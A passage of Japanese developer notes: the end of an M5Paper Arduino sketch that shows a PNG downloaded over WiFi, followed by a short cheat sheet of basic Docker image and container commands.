M5EPD_Canvas canvas(&M5.EPD);


// ---------------------------------------------------------------
void setup()
{
    char buf[80];
    M5.begin();
    M5.EPD.SetRotation(0); 
    M5.EPD.Clear(true);

    WiFi.begin(SSID, PASSWORD);

    while (WiFi.status() != WL_CONNECTED) {
        delay(500);
        Serial.print(".");
    }

    canvas.createCanvas(960, 540);
    canvas.setTextSize(3);

     sprintf(buf, "URL %s", URL_PNG);
    canvas.drawString(buf , 20, 400);
        canvas.pushCanvas(0,0,UPDATE_MODE_GC16);
       
    canvas.drawPngUrl(URL_PNG);

    canvas.pushCanvas(0,0,UPDATE_MODE_GC16);
// 10秒待つ。失敗する様であれば調整
    delay(10000);
// 3時間おきに実行
    M5.shutdown(10800);

}

// ---------------------------------------------------------------
void loop()
{
}

// ---------------------------------------------------------------
```
Docker まとめ



## イメージ取得の流れ

欲しいイメージのタグまで分かればそのまま pull すればOK

```
% docker pull ubuntu:20.04
```

情報が不正確な場合、とにかく探す。

```
% docker search ubuntu
```

でも、これだと tag がわからん。

```
% docker pull ubuntu
```

とかやると latest が落ちてくるので、特定のバージョンを指定したい場合 tag を調べる。

Docker Hub で情報見て拾ってくるのが楽そう。

https://hub.docker.com/_/ubuntu


## イメージの管理

### 一覧の取得

```zsh
% docker images
REPOSITORY               TAG        IMAGE ID       CREATED        SIZE
ubuntu                   20.04      53df61775e88   2 months ago   72.8MB
docker/getting-started   latest     cb90f98fd791   2 months ago   28.8MB
ubuntu                   18.04      f5cbed4244ba   2 months ago   63.2MB
```

名前を指定して絞り込み

```zsh
% docker images ubuntu
REPOSITORY               TAG        IMAGE ID       CREATED        SIZE
ubuntu                   20.04      53df61775e88   2 months ago   72.8MB
ubuntu                   18.04      f5cbed4244ba   2 months ago   63.2MB
```

### イメージの削除

```zsh
% docker rmi ubuntu:18.04
Untagged: ubuntu:18.04
```

### 名前の変更

```
% docker tag <イメージID> <イメージ名>:<tag>
```

例えば、上記の `ubuntu:20.04` を `ubuntu:18.04` に変えたい場合は下記のようなコマンドを実行。

```
% docker tag 53df61775e88 ubuntu:18.04
```

もしくは

```
% docker tag ubuntu:20.04 ubuntu:18.04
```

でも OK。

いずれにしろ、名前の変更というよりはイメージIDに対するタグを新しく作る感じなので、`docker rmi` 　で不要なタグを削除する。



## コンテナにターミナル接続

```zsh
% docker exec -it <コンテナ名> /bin/bash
```


## コンテナの停止と削除

停止

```zsh
% docker stop <コンテナ名>
```

削除

```
% docker container rm <コンテナ名>
```